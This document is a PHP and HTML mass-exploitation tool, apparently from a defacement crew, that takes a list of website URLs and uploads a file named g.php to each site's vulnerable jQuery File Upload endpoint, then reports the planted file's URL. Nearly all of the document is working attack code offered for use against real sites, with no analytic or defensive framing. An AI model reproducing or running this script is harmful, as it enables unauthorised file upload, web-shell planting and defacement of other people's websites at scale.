Jquery mass deface

<html>
<title>Jquery Mass Exploiter</title>
            <font size=4>Jquery Mass Exploiter</font><br><br>
<tr><td><form method="post" action="" enctype="multipart/form-data"></td></tr>
<tr><td align="right" style="width:5%;"><textarea placeholder="http://res7ockcrew.org" style="padding: 5px; resize: none; width: 500px; height: 250px; border: solid 1px #006400;" name="sites"></textarea><td><tr><br>
<tr><td><input style="width:37.1%;height:30px;" name="maju" type="submit" value="Exploit!"></td></tr>
</form>
<?php
// Original code by Agus Setya R
// Recoded by ./Bl4ckcod37
// Thanks Allah SWT | Indoxploit | RES7OCK CREW | Indonesian People
error_reporting(0);
$site = explode("\r\n", $_POST['sites']);
$maju = $_POST['maju'];
if($maju) {
foreach($site as $sites) {
$uploadfile = "g.php";
$ch = curl_init("{$sites}/assets/global/plugins/jquery-file-upload/server/php/");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('files[]'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
if(preg_match("/url|deleteUrl|deleteType/", $postResult)) {
preg_match('/"url":"(.*?)"/', $postResult, $get);
$loc = $get[1];
echo "URL : <font color=green>$sites</font><br>";
echo "Status : <font color=green>Success ...</font><br>";
echo "File : <a href='$loc' target='_blank'><font color=green>$loc</font></a><br>";
}
else{
echo "URL : <font color=green>$sites</font><br>";
echo "Status : <font color=red>Failed ...</font?";}
}
}
?>